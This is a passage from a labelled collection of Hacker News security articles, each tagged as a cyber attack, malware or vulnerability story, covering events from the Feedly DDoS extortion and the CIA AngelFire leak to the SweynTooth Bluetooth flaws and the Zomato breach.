""Criminals are attacking feedly with a distributed denial of service attack (DDoS). The attacker is trying to extort us money to make it stop,"" Edwin Khodabakchian, founder and CEO of Feedly said in a statement on Wednesday. He also expressed regret, ""We want to apologize for the inconvenience. Please know that you data is safe and you will be able to re-access your feedly as soon as the attack is neutralized.""

Feedly is a very popular RSS feed service which is available for desktop, iOS and Android devices with around 15 million users and 24,000 paying customers. It is also integrated into hundreds of other third party apps, which offers its users to browse the content of their favorite blogs, magazines, websites and more at one place via RSS feed subscriptions.

Feedly gained its popularity after Google announced the closure of its Google reader service last year. A huge number of RSS Google reader users switched to Feedly. Its popularity and reputation attracts RSS die-hards and cyber-criminals as well.

A San Francisco-based firm confirmed that some bad actors had launched a DDoS attack on its popular site, and were demanding a ransom money to restore the service. But the company refused to pay the amount to criminals which is really a matter of appreciation.

""We refused to give in and are working with our network providers to mitigate the attack as best as we can, "" said Edwin Khodabakchian. He added, ""We are working in parallel with other victims of the same group and with law enforcement.""

WHAT IS DDoS ATTACK?
For those who are not familiar, a Distributed Denial-of-Service (DDoS) attack is one in which multiple compromised systems attacks a single target system or service to make it unavailable to its intended users. The flood of incoming requests essentially forces the target system or service to shut down, thereby denying service to the system to its legitimate users.

According to the company, the hackers have compromised Feedly's network resources, but they haven't gained access to any of its servers, ensuring its users that their data is safe.

FEEDLY TIME-OUT
At the time of writing, the website was still unavailable with visitors greeted by error messages including '408 Request Timeout' and 'Error 502 Timeout'. But latter, the website informed its users that there is no issue with their browser or the website's CloudFlare content delivery network, whereas the host domain was unreachable at the time.
After few hours of the attack confirmation, Feedly said it had made some changes to its infrastructure on bringing the website online again. ""However, these things take some time to put into place and it may still be a few more hours before service is restored,"" the company said. ""Thank you so much for your patience and for sticking with us.""

The popular online notes and web clippings service Evernote suffered a similar attack. It is not yet known whether the two are linked, but Feedly and Evernote work closely together.

RECORD-BREAKING DDoS ATTACKS
DDoS attackers have discovered more powerful ways to attack a web service by exploiting Internet protocols such as DNS, NTP and even SNMP which allow cybercriminals to carry out record breaking DDoS attacks with the use of a little skill and relatively small amount of resources.

Feedly has set up an example for all of us that its really not right to pay the ransom to the bad actors and if you fulfill their demands, you are doing nothing but encouraging them more to carry out more such attacks against you.

",Cyber_Attack
Malicious Google DoubleClick Advertisements Distributed Malware to Millions of Computers,https://thehackernews.com/2014/09/malicious-google-doubleclick.html,"Cyber criminals have exploited the power of two online advertising networks, Google's DoubleClick and popular Zedo advertising agency, to deliver malicious advertisements to millions of internet users that could install malware on a user's computer.

A recent report published by the researcher of the security vendor Malwarebytes suggests that the cyber criminals are exploiting a number of websites, including The Times of Israel, The Jerusalem Post and the Last.fm music streaming website, to serve malicious advertisements designed to spread the recently identified Zemot malware.

Malvertising is not any new tactic used by cybercriminals, but Jerome Segura, a senior security researcher with Malwarebytes, wrote in a blog post that his company ""rarely see attacks on a large scale like this.""

""It was active but not too visible for a number of weeks until we started seeing popular sites getting flagged in our honeypots,"" Segura wrote. ""That's when we thought, something is going on.""

The first impressions came in late August, and by now millions of computers have likely been exposed to Zemot, although only those with outdated antivirus protection were actually infected.

According to Segura, the malicious advertisements lead users to websites containing Nuclear exploit kit, which looks for an unpatched version of Adobe Flash Player or Internet Explorer running on victim's system. If found one, it downloads the Zemot malware, which then communicate it to a remote server and downloads a wave of other malicious applications.

However, by the time the malware was spotted, millions of computer machines may already have been exposed to Zemot, the researcher said, but at the mean time he also added that only those users with out-of-date antivirus software protection were actually infected by the malware.
The Zemot malware was identified by Microsoft earlier this month. According to Microsoft, Zemot is usually distributed not only by the Nuclear exploit kit but also by the Magnitude exploit kit and spambot malware Kuluoz. The malware focuses on computers running Windows XP, although it can also infect more modern operating systems running on x86 and 64 bit machines.

The malware can easily bypass the security softwares installed in the system before infecting computers with additional malware, therefore it is difficult to identify the attack it poses on a system.

A Google representative has confirmed the breach, and said that the team was aware of the breach and has since shut down all the affected servers which were redirecting malicious code, and have disabled the ads that delivered malware to user's computers, reported The Verge.

",Malware
AngelFire: CIA Malware Infects System Boot Sector to Hack Windows PCs,https://thehackernews.com/2017/08/cia-boot-sector-malware.html,"A team of hackers at the CIA, the Central Intelligence Agency, allegedly used a Windows hacking tool against its targets to gain persistent remote access.

As part of its Vault 7 leaks, WikiLeaks today revealed details about a new implant developed by the CIA, dubbed AngelFire, to target computers running Windows operating system.

AngelFire framework implants a persistent backdoor on the target Windows computers by modifying their partition boot sector.

AngelFire framework consists five following components:

1. Solartime — it modifies the partition boot sector to load and execute the Wolfcreek (kernel code) every time the system boots up.

2. Wolfcreek — a self-loading driver (kernel code that Solartime executes) that loads other drivers and user-mode applications

3. Keystone — a component that utilizes DLL injection technique to execute the malicious user applications directly into system memory without dropping them into the file system.

4. BadMFS — a covert file system that attempts to install itself in non-partitioned space available on the targeted computer and stores all drivers and implants that Wolfcreek starts.

5. Windows Transitory File system — a new method of installing AngelFire, which allows the CIA operator to create transitory files for specific tasks like adding and removing files to AngelFire, rather than laying independent components on disk.

According to a user manual leaked by WikiLeaks, AngelFire requires administrative privileges on a target computer for successful installation.

The 32-bit version of implant works against Windows XP and Windows 7, while the 64-bit implant can target Server 2008 R2, Windows 7.

Previous Vault 7 CIA Leaks

Last week, WikiLeaks published another CIA project, dubbed ExpressLane, which detailed about the spying software that the CIA agents used to spy on their intelligence partners around the world, including FBI, DHS and the NSA.

Since March, WikiLeaks has published 22 batches of ""Vault 7"" series, which includes the latest and last week leaks, along with the following batches:


CouchPotato — A CIA project that revealed its ability to spy on video streams remotely in real-time.
Dumbo — A CIA project that disclosed its ability to hijack and manipulate webcams and microphones to corrupt or delete recordings.
Imperial — A CIA project that revealed details of 3 CIA-developed hacking tools and implants designed to target computers running Apple Mac OS X and different flavours of Linux OS.
UCL/Raytheon — An alleged CIA contractor that analysed in-the-wild advanced malware and submitted at least five reports to the agency for help it develops its malware.
Highrise — An alleged CIA project that allowed the US agency to stealthy collect and forward stolen data from compromised smartphones to its server via SMS messages.
BothanSpy and Gyrfalcon — Two alleged CIA implants that allowed the spy agency to intercept and exfiltrate SSH credentials from targeted Windows and Linux computers using different attack vectors.
OutlawCountry — An alleged CIA project that allowed the agency to hack and remotely spy on computers running Linux operating systems.
ELSA — Alleged CIA malware that tracks geo-location of targeted laptops and computers running the Microsoft Windows OS.
Brutal Kangaroo — A tool suite for Microsoft Windows OS used by the CIA agents to target closed networks or air-gap computers within an organisation or enterprise without requiring any direct access.
Cherry Blossom — A framework employed by the agency to monitor the Internet activity of the targeted systems by exploiting flaws in Wi-Fi devices.
Pandemic — A CIA's project that allowed the spying agency to turn Windows file servers into covert attack machines that can silently infect other PCs of interest inside the same network.
Athena — A spyware framework that the agency designed to take full control over the infected Windows systems remotely and works against every version of Windows OS–from Windows XP to Windows 10.
AfterMidnight and Assassin — 2 alleged CIA malware frameworks for the Microsoft Windows platform that's meant to monitor and report back actions on the infected remote host PC and execute malicious actions.
Archimedes — Man-in-the-middle (MitM) attack tool allegedly developed by the agency to target computers inside a Local Area Network (LAN).
Scribbles — Software allegedly designed to embed 'web beacons' into confidential documents, allowing the CIA agents to track insiders and whistleblowers.
Grasshopper — A framework which allowed the spying agency to easily create custom malware for breaking into Microsoft's Windows OS and bypassing antivirus protection.
Marble — Source code of a secret anti-forensic framework used by the agency to hide the actual source of its malware.
Dark Matter — Hacking exploits the spying agency designed to target iPhones and Macs.
Weeping Angel — Spying tool used by the CIA agents to infiltrate smart TV's, transforming them into covert microphones.
Year Zero — CIA hacking exploits for popular hardware and software.

",Malware
Facebook privacy flaw exposes Mark Zuckerberg private photos,https://thehackernews.com/2011/12/facebook-privacy-flaw-exposes-mark.html,"Facebook privacy flaw exposes Mark Zuckerberg private photos

A flaw in Facebook has granted prying users access to supposedly private photographs, including those of the website's chief executive, Mark Zuckerberg. In total 14 pictures of Mr Zuckerberg were posted to image site Imgur under the headline: ""It's time to fix those security flaws Facebook"".The bug in the website's photo reporting tool - which Facebook says was only temporary and has now been fixed - meant that users could access others' pictures even if they were private.
The flaw was first reported on the forums of BodyBuilding.com, presumably because the users of that website like taking photos of themselves and putting them online. The bug exploits the way the offensive photograph reporting tool works. Facebook has been heavily criticised in the last few years for matters of privacy and so there are people who will leap on this story as yet another example of how the company simply doesn't take its users privacy seriously. Such problems have included a change to the terms and conditions that made all your photographs and statuses Facebook's property and a settings change that made everything on everybody's profile accessible to search engines by default.
The exploit has since been patched, and Facebook has officially responded:
""Earlier today, we discovered a bug in one of our reporting flows that allows people to report multiple instances of inappropriate content simultaneously. The bug allowed anyone to view a limited number of another user's most recently uploaded photos irrespective of the privacy settings for these photos. This was the result of one of our recent code pushes and was live for a limited period of time.""
In a blog post, Mr Zuckerberg said that ""even if our record on privacy were perfect, I think many people would still rightfully question how their information was protected"".

""It's important for people to think about this, and not one day goes by when I don't think about what it means for us to be the stewards of this community and their trust,"" he added. Facebook was forced to agree to external inspections of its privacy systems and agree to fines of $16,000 per day for new violations. Mr Zuckerberg also pledged to protect users' information ""better than any other company in the world"".

",Vulnerability
SHEIN-Fashion Shopping Site Suffers Data Breach Affecting 6.5 Million Users,https://thehackernews.com/2018/09/shein-data-breach.html,"U.S. online fashion retailer SHEIN has admitted that the company has suffered a significant data breach after unknown hackers stole personally identifiable information (PII) of almost 6.5 million customers.

Based in North Brunswick and founded in 2008, SHEIN has become one of the largest online fashion retailers that ships to more than 80 countries worldwide. The site has been initially designed to produce ""affordable"" and trendy fashion clothing for women.

SHEIN revealed last weekend that its servers had been targeted by a ""concerted criminal cyber-attack"" that began in June this year and lasted until August 22, when the company was finally made aware of the potential theft.

Soon after that, the company scanned its servers to remove all possible backdoored entry points, leveraging which hackers could again infiltrate the servers. SHEIN assured its customers that the website is now safe to visit.

Hackers Stole Over 6.42 Million SHEIN Customers' Data

Although details about the incident are scarce, the online retailer revealed that the malicious hackers managed to steal gain access to email addresses and encrypted password credentials for 6.42 million customers who registered on its website.
""While the full extent of the attack will continue to be investigated, it can now be confirmed that the personal information illegally acquired by the intruders included email addresses and encrypted password credentials of customers who visited the company website,"" SHEIN said.
""It is our understanding that the breach began in June 2018 and continued through early August 2018 and involves approximately 6.42 million customers.""
However, the company said it typically does not store any credit card information on its systems and has currently no evidence that any credit card information of its customers was taken from its systems.

Since no payment card details were stolen, it does not appear that if the online retailer was hit by the recent series of Magecart cyber attacks that have recently affected popular online services including Ticketmaster, British Airways, and Newegg.

Are You Affected? Here's What Users Should Do

Upon becoming aware of this potential theft, SHEIN immediately hired a leading international forensic cybersecurity firm and an international law firm to launch a thorough investigation into the breach.

The company has already begun contacting all affected customers and requesting them to change passwords for their online store accounts by either clicking the link provided in the email notification from SHEIN or directly logging into their SHEIN account to change the password.

You can find ""Edit Password"" link under the ""Account Setting"" page.

If customers believe the attackers may have compromised their credit card information, the company urged them to directly contact their respective banks or credit card companies with any concerns.

For more information regarding the breach investigation and the actions SHEIN is taking to protect its customer information, you can contact the company at 844-802-2500, or visit its FAQ at www.shein.com/datasecurity.

",Cyber_Attack
3 Mobile UK Hacked – 6 Million Customers' Private Data at risk,https://thehackernews.com/2016/11/3-mobile-uk-hacked.html,"Three, one of UK's biggest mobile operators, has become the latest victim of a massive data breach that reportedly left the personal information and contact details of 6 Million of its customers exposed.

The company admitted the data breach late Thursday, saying that computer hackers gained access to a Three Mobile customer phone upgrade database containing the account details of nearly 6 Million customers.

According to multiple British media reports citing both Three and the National Crime Agency (NCA), the computer hackers used an employee login to gain entry into its database.

The stolen data includes customer names, addresses, phone numbers and dates of birth, which is then used to carry out mobile phone fraud.

The company has not yet confirmed the total number of users' affected by the breach, though it assured its customers that no payment data, including bank account numbers and card numbers, has been accessed.

According to Three, the hackers had stolen the database to use the stolen personal details to find customers eligible for handset upgrade, placing orders for the new phones, intercepting the parcels as they arrived, and then reselling them for a profit.
""Over the last four weeks Three has seen an increasing level of attempted handset fraud,"" said a spokesman for Three. ""This has been visible through higher levels of burglaries of retail stores and attempts to unlawfully intercept upgrade devices.""
To date, Three has confirmed around 400 cases in which fraudsters had stolen high-value handsets through burglaries and 8 devices have already been illegally obtained through the upgrade activity.

Three British Men Arrested over Three Data Breach

The investigation is ongoing, and three people have already with in connection to the fraud.

On Wednesday, the NCA arrested two men on suspicion of computer misuse allegations:
A 48-year-old man from Orpington, Kent
A 39-year old man from Ashton-under-Lyne, Manchester
A third man – 35-year old man from Moston, Manchester – was also arrested for allegedly attempting to pervert the course of justice. However, all three of them have since been released on bail pending further inquiries.

This sort of cyber theft is not new. Earlier this year, fellow British carrier TalkTalk estimated that the company had lost more than £60 Million in a 2015 massive data breach that exposed the account details of 156,000 of its customers.

",Cyber_Attack
"Twitter warning, Do not click DM saying ""My profile was viewed..times..today""",https://thehackernews.com/2012/10/twitter-warning-do-not-click-dm-saying.html,"A very quick and urgent warning for Twitter users, If you receive a direct message (DM) on Twitter saying ""My profile was viewed..times..today"" with a link then please don't click it. If you do, you will run the risk of having your Twitter account hijacked, your account turned into a spam-spewing tweet factory and all of your Twitter followers will be sent a personal copy of the same DM saying ""My profile was viewed..times..today"".

The direct message is a Scam aimed at stealing your twitter account. Or If any of this phishing scheme sounds familiar, it's because this scam and others like it have been going around for quite some time now. Reason being, they're all highly effective. Sure, the verbiage in the Twitter DMs may change periodically, but the goal of stealing your Twitter username and password stays the same.

We recommend you to:

DO not click the link.
DELETE that message
ONCE REVIEW all the application you have allowed in your twitter profile, Here.
REVOKE access of the suspicious applications immediate.


Subscribe to our Daily Newsletter via email - Be First to know about Security and Hackers. or Join our Huge Hackers Community on Facebook, Google+ and Twitter.

",Malware
A Dozen Vulnerabilities Affect Millions of Bluetooth LE Powered Devices,https://thehackernews.com/2020/02/hacking-bluetooth-vulnerabilities.html,"A team of cybersecurity researchers late last week disclosed the existence of 12 potentially severe security vulnerabilities, collectively named 'SweynTooth,' affecting millions of Bluetooth-enabled wireless smart devices worldwide—and worryingly, a few of which haven't yet been patched.

All SweynTooth flaws basically reside in the way software development kits (SDKs) used by multiple system-on-a-chip (SoC) have implemented Bluetooth Low Energy (BLE) wireless communication technology—powering at least 480 distinct products from several vendors including Samsung, FitBit and Xiaomi.

According to the researchers, hackers in close physical proximity to vulnerable devices can abuse this vulnerability to remotely trigger deadlocks, crashes, and even bypass security in BLE products, allowing them to arbitrary read or write access to device's functions that are otherwise only allowed to be accessed by an authorized user.

""As of today, SweynTooth vulnerabilities are found in the BLE SDKs sold by major SoC vendors, such as Texas Instruments, NXP, Cypress, Dialog Semiconductors, Microchip, STMicroelectronics and Telink Semiconductor,"" the researchers from the Singapore University of Technology and Design said.


Here is a list and brief information on all 12 SweynTooth vulnerabilities:

Link Layer Length Overflow (CVE-2019-16336, CVE-2019-17519) — These allow attackers in radio range to trigger a buffer overflow by manipulating the LL Length Field, primarily leading to a denial of service attacks.
Link Layer LLID deadlock (CVE-2019-17061, CVE-2019-17060) — These trigger deadlock state when a device receives a packet with the LLID field cleared.
Truncated L2CAP (CVE-2019-17517) — This flaw results due to a lack of checks while processing an L2CAP packet, causing a denial of service and crash of the device.
Silent Length Overflow (CVE-2019-17518) — A buffer overflow occurs when a certain packet payload with higher than expected LL Length is sent, the peripheral crashes.
Invalid Connection Request (CVE-2019-19195) — When devices do not properly handle some connection parameters while the central attempts a connection to the peripheral, they could lead to Deadlock state.
Unexpected Public Key Crash (CVE-2019-17520) — This bug is present in the implementation of the legacy pairing procedure, which is handled by the Secure Manager Protocol (SMP) implementation, and can be used to perform DoS and possibly restart products.
Sequential ATT Deadlock (CVE-2019-19192) — This flaw lets attackers deadlock the peripheral by sending just two consecutive ATT request packets in each connection event.
Invalid L2CAP fragment (CVE-2019-19195) — improper handling of the PDU size of the packets can lead to deadlock behavior.
Key Size Overflow (CVE-2019-19196) — This overflow in the device memory issue is a combination of multiple bugs found during the pairing procedure of devices, resulting in a crash.
Zero LTK Installation (CVE-2019-19194) — This critical vulnerability is a variation of one of the Key Size Overflow. It affects all products using Telink SMP implementation with support for secure connection enabled.

The detailed report says affected products include consumer electronics, smart home devices, wearables, and are also being used in the logistics and healthcare industry, malfunctioning of which can lead to hazardous situations.


""The most critical devices that could be severely impacted by SweynTooth are the medical products. VivaCheck Laboratories, which manufacture Blood Glucose Meters, has many products listed to use DA14580,"" the researchers said.

""Hence all these products are potentially vulnerable to the Truncated L2CAP attack. Even worse, Syqe Medical Ltd. and their programmable drug delivery inhalation platform (Syqe Inhaler v01) is affected alongside the latest pacemaker related products from Medtronic Inc.""

According to the report, researchers disclosed these flaws last year to all affect vendors, many of which have now released patches for their respective SoCs.

Wheres, products developed by some SoC vendors, including Dialog, Microchip, and STMicroelectronics, are unpatched at the time of the disclosure.
",Vulnerability
Critical Flaw in Major Android Tools Targets Developers and Reverse Engineers,https://thehackernews.com/2017/12/android-development-tools.html,"Finally, here we have a vulnerability that targets Android developers and reverse engineers, instead of app users.

Security researchers have discovered an easily-exploitable vulnerability in Android application developer tools, both downloadable and cloud-based, that could allow attackers to steal files and execute malicious code on vulnerable systems remotely.

The issue was discovered by security researchers at the Check Point Research Team, who also released a proof of concept (PoC) attack, which they called ParseDroid.

The vulnerability resides in a popular XML parsing library ""DocumentBuilderFactory,"" used by the most common Android Integrated Development Environments (IDEs) like Google's Android Studio, JetBrains' IntelliJ IDEA and Eclipse as well as the major reverse engineering tools for Android apps such as APKTool, Cuckoo-Droid and more.
The ParseDroid flaw, technically known as XML External Entity (XXE) vulnerability, is triggered when a vulnerable Android development or reverse engineering tool decodes an application and tries to parse maliciously crafted ""AndroidManifest.xml"" file inside it.

In order words, all an attacker need to trigger the vulnerability is trick the developers and reverse engineers into loading a maliciously crafted APK file.
""By simply loading the malicious 'AndroidManifest.xml' file as part of an Android project, the IDEs starts spitting out any file configured by the attacker,"" the researchers said.
Demonstration: XML External Entity (XXE) to Remote Code Execution

Besides this, the XXE vulnerability can also be used to inject arbitrary files anywhere on a targeted computer to achieve full remote code execution (RCE), which makes the attack surface-wide and various.
Moreover, the attacker doesn't require to target their victims directly, as the researchers suggest ""another attack scenario that can be used in the wild to attack a massive range of Android developers by injecting a malicious AAR (Android Archive Library) containing our XXE payload into repositories.""

For educational and demonstration purpose, researchers have also created an online APK decoder tool that can extract the malicious file from an APK (in this case they used a PHP web shell), allowing the attacker to execute system commands on the web application server, as shown in the video.
""The way we chose to demonstrate this vulnerability, of course, is just one of many possible attack methods that can be used to achieve full RCE,"" the Check Point researchers wrote. ""Indeed, the Path Traversal method lets us copy any file to any location on the file system, making the attack surface-wide and various.""
Check Point researchers Eran Vaknin, Gal Elbaz, Alon Boxiner and Oded Vanunu discovered this issue in May 2017 and reported them to all major IDEs and tools developers, including Google, JetBrains, Eclipse and APKTool owner.

Most of the developers, including Google, JetBrains and APKTool owner, have since fixed the issue and released patched versions.

Since all the attack methods demonstrated by the researchers are cross-platform, developers and reverse engineers are highly recommended to update their tools, if they haven't yet.

",Vulnerability
Nation-State Hackers Caught Hiding Espionage Activities Behind Crypto Miners,https://thehackernews.com/2020/12/nation-state-hackers-caught-hiding.html,"A nation-state actor known for its cyber espionage campaigns since 2012 is now using coin miner techniques to stay under the radar and establish persistence on victim systems, according to new research.
Attributing the shift to a threat actor tracked as Bismuth, Microsoft's Microsoft 365 Defender Threat Intelligence Team said the group deployed Monero coin miners in attacks that targeted both the private sector and government institutions in France and Vietnam between July and August earlier this year.
""The coin miners also allowed Bismuth to hide its more nefarious activities behind threats that may be perceived to be less alarming because they're 'commodity' malware,"" the researchers said in an analysis published yesterday.
The primary victims of the attack have been traced to state-owned enterprises in Vietnam and entities with ties to a Vietnamese government agency.
The Windows maker likened Bismuth to OceanLotus (or APT32), linking it to spyware attacks using both custom and open-source toolsets to target large multinational corporations, governments, financial services, educational institutions, and human and civil rights organizations.
The development comes as OceanLotus was found leveraging a new macOS backdoor that enables the attackers to snoop on and steals confidential information and sensitive business documents from infected machines.
Using Coin Miners to Blend In
Although the group's espionage and exfiltration tactics have essentially remained the same, the inclusion of coin miners in their arsenal points to a fresh way to monetize compromised networks, not to mention a crafty means of blending in and evading detection for as long as possible.
The idea is to buy time to move laterally and infect high-value targets like servers for further propagation.
To achieve this, tailored spear-phishing emails written in Vietnamese were crafted to specific recipients in a target organization, and in some cases, the threat actor even established correspondence with the targets in a bid to increase the chances of opening the malicious document embedded in the emails and trigger the infection chain.
A separate technique involved the use of DLL side-loading, wherein a legitimate library is replaced with a malicious variant, utilizing outdated versions of legitimate software such as Microsoft Defender Antivirus, Sysinternals DebugView, and Microsoft Word 2007 to load rogue DLL files and establish a persistent command-and-control (C2) channel to the compromised device and the network.
The newly established channel was then used to drop a number of next-stage payloads, including tools for network scanning, credential theft, Monero coin mining, and conducting reconnaissance, the results of which were transmitted back to the server in the form of a "".csv"" file.
Hiding in Plain Sight
""Bismuth attacks put strong emphasis on hiding in plain sight by blending in with normal network activity or common threats that attackers anticipate will get low-priority attention,"" Microsoft said.
""The combination of social engineering and use of legitimate applications to sideload malicious DLLs entail multiple layers of protection focused on stopping threats at the earliest possible stage and mitigating the progression of attacks if they manage to slip through.""
It's recommended that businesses limit the attack surface used to gain initial access by beefing up email filtering and firewall settings, enforce credential hygiene, and turn on multi-factor authentication.

",Malware
Multiple Critical Remotely Exploitable Flaws Discovered in Memcached Caching System,https://thehackernews.com/2016/11/memcached-hacking.html,"Hey Webmasters, are you using Memcached to boost the performance of your website?

Beware! It might be vulnerable to remote hackers.

Three critical Remote Code Execution vulnerabilities have been reported in Memcached by security researcher Aleksandar Nikolich at Cisco Talos Group that expose major websites, including Facebook, Twitter, YouTube, Reddit, to hackers.

Memcached is a fabulous piece of open-source distributed caching system that allows objects to be stored in memory. It has been designed to speed up dynamic web applications by reducing stress on the database that helps administrators to increase performance and scale web applications.

Memcached is widely used by thousands upon thousands of websites, including popular social networking sites such as Facebook, Flickr, Twitter, Reddit, YouTube, Github, and many more.

Nikolich says that he discovered multiple integer overflow bugs in Memcached that could be exploited to remotely run arbitrary code on the targeted system, thereby compromising the many websites that expose Memcache servers accessible over the Internet.

The vulnerabilities actually reside in ""various Memcached functions that are used in inserting, appending, prepending, or modifying key-value data pairs.""
CVE-2016-8704: Memcached Server Append/Prepend Remote Code Execution Vulnerability
CVE-2016-8705: Memcached Server Update Remote Code Execution Vulnerability
CVE-2016-8706: Memcached Server SASL Authentication Remote Code Execution Vulnerability

Hackers Can Remotely Steal Sensitive Information

If exploited, the vulnerabilities could allow attackers to send repeat specifically-crafted Memcached commands to the targeted servers.

Moreover, the flaws could also be exploited to leak sensitive process information that can further be used to bypass standard exploitation mitigations, like ASLR (Address Space Layout Randomisation), making the attacks reliable and considerably ""severe.""

By default, Memcached service installed on your server is available to the world on TCP port 11211, so it has always been strongly recommended to limit its access within a trusted environment, behind the firewall.

So, if you have not yet updated your software to the latest release and Memcached service is publically accessible, an attacker can simply exploit these vulnerabilities to remotely steal sensitive information cached by the server without your knowledge.

What's even worse? These flaws could allow hackers to replace cached content with their malicious one in order to deface the website, serve phishing pages and malicious links to hijack victim's machine, placing hundreds of millions of online users at risk.

Patch your Memcached Server Now!

The integer overflow flaws in Memcached affect Memcached version 1.4.31 and earlier.

The researcher notified Memcached of the flaws and the company only took two days to build a patch on 31st October.

Memcached says the critical remote code execution flaws ""are related to the binary protocol as well as SASL authentication of the binary protocol,"" but has been fixed in the latest release.

Customers are advised to apply the patch even to Memcached deployments in ""trusted"" environments, as attackers with existing access could target vulnerable servers to move laterally within those networks.

",Vulnerability
Harkonnen Operation — Malware Campaign that Went Undetected for 12 Years,https://thehackernews.com/2014/09/harkonnen-operation-malware-campaign_16.html,"A huge data-stealing cyber espionage campaign that targeted Banks, Corporations and Governments in Germany, Switzerland, and Austria for 12 years, has finally come for probably the longest-lived online malware operation in history.

The campaign is dubbed as 'Harkonnen Operation' and involved more than 800 registered front companies in the UK — all using the same IP address – that helped intruder installs malware on victims' servers and network equipments from different organizations, mainly banks, large corporations and government agencies in Germany, Switzerland and Austria.

In total, the cyber criminals made approximately 300 corporations and organisations victims of this well-organised and executed cyber-espionage campaign.

CyberTinel, an Israel-based developer of a signature-less endpoint security platform, uncovered this international cyber-espionage campaign hitting Government institutions, Research Laboratories and critical infrastructure facilities throughout the DACH (Germany, Austria, Switzerland) region.

From the analysis and research work done by CyberTinel, it is believed that the hackers had first penetrated computer networks as far back as 2002 and, according to Elite Cyber Solutions chief executive Jonathan Gad, the damage done to companies since then was ""immeasurable"".
""The network exploited the UK's relatively tolerant requirements for purchasing SSL security certificates, and established British front companies so they could emulate legitimate web services,"" said Jonathan Gad, chief executive of distributor Elite Cyber Solutions, Cybertinel's UK partner.
""The German attackers behind the network then had total control over the targeted computers and were able to carry out their espionage undisturbed for many years."" He added, ""At this point, we are aware of the extent of the network, but the damage to the organisations who have been victims in terms of loss of valuable data, income or the exposure of information related to employees and customers is immeasurable.""
The Harkonnen Operation attack was detailed in a special report [pdf] titled, ""HARKONNEN OPERATION CYBER-ESPIONAGE,"" in which the researchers analysed and discovered companies that were compromised by seemingly generic trojans foisted through spear-phishing attacks.

The fact that the malware was installed via spear-phishing attacks from companies that appear legitimate — with the appropriate digital security certificates — gave the cyber criminals even more anonymity, enabling them to hit very secure servers and steal all types of top-secret documents.

The trojans detected in the attacks were GFILTERSVC.exe from the generic trojan family Trojan.win7.generic!.bt and wmdmps32.exe.

It is still unclear that who or what is behind the hack, but researchers believe that the malware campaign seems to be more like an organised crime operation than something a government intelligence agencies would do.

The scammers invested over $150,000 — a kingly sum for hackers — on hundreds of domain names, IP addresses and wildcard certificates to make its UK businesses appear legitimate. and in keeping the operation going.

",Malware
Duuzer Trojan: A New Backdoor Targeting South Korean Organizations,https://thehackernews.com/2015/10/computer-malware-attack.html,"Security researchers at Symantec have uncovered a new Backdoor Trojan that grants hackers remote access and some control over infected machines.

""Duuzer,"" as dubbed by the researchers, has been targeting organizations in South Korea and elsewhere in an attempt to steal valuable information.

The Trojan is designed to infect both 32-bit and 64-bit computers running Windows 7, Windows Vista, and Windows XP.

Duuzer gives attackers remote access to the compromised computer, allowing them to:
Collect system and drive information
Create, enumerate, and end processes
Access, modify and delete files
Upload and Download additional files
Change the time attributes of files
Execute malicious commands
Steal data from infected system
Know about victim's Operating System

Duuzer Infects via Spear Phishing or Watering Hole Attacks

It is currently unclear how the malware is being distributed, but according to Symantec Researchers, the most obvious routes are Spear Phishing campaigns and Watering Hole attacks.

Once infected, Duuzer checks if the system is running on a virtual machine like VMWare or Virtual Box to ensure that security researchers are not analyzing the malware before performing its malicious routines.

Moreover, the Trojan identifies the existing software configured to run on startup and takes the name of that legitimate software on an infected computer and spread across the system.

Duuzer's first sets up a backdoor on the machine, allowing attackers physical access to the system.

The attackers then manually run commands through the backdoor on affected computers. They can perform a variety of operations mentioned above.
""Based on our analysis of Duuzer, the attackers behind the threat appear to be experienced and have knowledge about security researchers' analysis techniques,"" researchers said. ""Their motivation seems to be obtaining valuable information from their targets' computers.""

'Brambul' Worm and 'Joanap' Trojan also Detected

Research also discovered a dropper that infects computers with a worm known as Brambul and a Backdoor Trojan called Joanap. Both of them mostly work together and typically used to log and monitor infected systems remotely.

It is still unclear how the dropper is being distributed; however, it is believed that it comes from malicious emails.

The worm detected as W32.Brambul uses brute-force attacks via the Server Message Block (SMB) protocol to spread from one computer to another.

Once infected, the Brambul worm connects to random IP addresses on the local network and authenticates itself through SMB using common passwords, like 'password,' 'login,' '123123,' 'abc123' and 'iloveyou.'

Besides attacking other computers via SMB, Brambul creates a network share on compromised computers, usually the system drive, and then sends the computer's details and login credentials to a predefined email address.

Connection between Duuzer, Brambul and Joanap

According to Symantec, Duuzer has a connection with both Joanap and Brambul...But how?

Once infected, Brambul drops other pieces of malware on infected machines, either Duuzer or Joanap.

Systems infected with Brambul have been used as command-and-control (CnC) servers for Duuzer and have also been compromised with Duuzer.

If Joanap is dropped, the Trojan will register itself as a local OS service, named ""SmartCard Protector."" The Trojan opens a backdoor on the compromised machine and starts:
Sending specific files to the attackers
Saving or deleting files
Downloading and executing files
Executing or terminating processes
Propagating instructions it receives from the C&C server

How to get rid of this ARMY?

Though Duuzer, Brambul, and Joanap are just a small selection of many threats affecting South Korean organizations with a very low-risk level.

But still, it is recommended for the users and businesses to keep themselves safe and protected by following these steps and prevent their systems from being compromised with this malware:
Use a firewall to block all incoming connections from the Internet to services that shouldn't be publicly available.
You should, by default, deny all incoming connections and only allow services you explicitly want to offer to the outside world.
Use Complex Passwords as it makes it difficult to crack.
Turned OFF Bluetooth if it is not required for mobile devices. Also, turn off other services not required at present.
Train your employees not to open email or messages attachments unless they are expecting them.
For more details, head on the Symantec's official blog.

",Malware
Zomato Hacked; Hacker Puts Up 17 Million Users' Emails and Passwords On Sale,https://thehackernews.com/2017/05/zomato-data-breach.html,"If you ever ordered food from Zomato, You should be Worried!

India's largest online restaurant guide Zomato confirmed today that the company has suffered a data breach and that accounts details of millions of its users have been stolen from its database.

In a blog post published today, the company said about 17 Million of its 120 Million user accounts from its database were stolen.

What type of information?

The stolen account information includes user email addresses as well as hashed passwords.

Zomato claims that since the passwords are encrypted, it cannot be decrypted by the attackers, so the ""sanctity of your password is intact.""

It seems Zomato is downplaying the threat or unaware of the fact that these days hackers are using cloud computing, which enables them to decrypt even a 15-18 character passwords within a few hours. So there's no guarantee your passwords will not eventually get cracked.

Update: As shown in the above screenshot taken immediately after they updated their blog post, Zomato has changed its statement from ""your password can not be converted/decrypted"" to ""can not be easily converted"" back to plain text.

The updated statement now reads:
""We hash passwords with a one-way hashing algorithm, with multiple hashing iterations and individual salt per password. This means your password cannot be easily converted back to plain text.""
Also, Zomato stressed that the breach did not impact or compromise any payment card data, as the financial information of its customers is stored in a separate database different from the one illegally accessed.
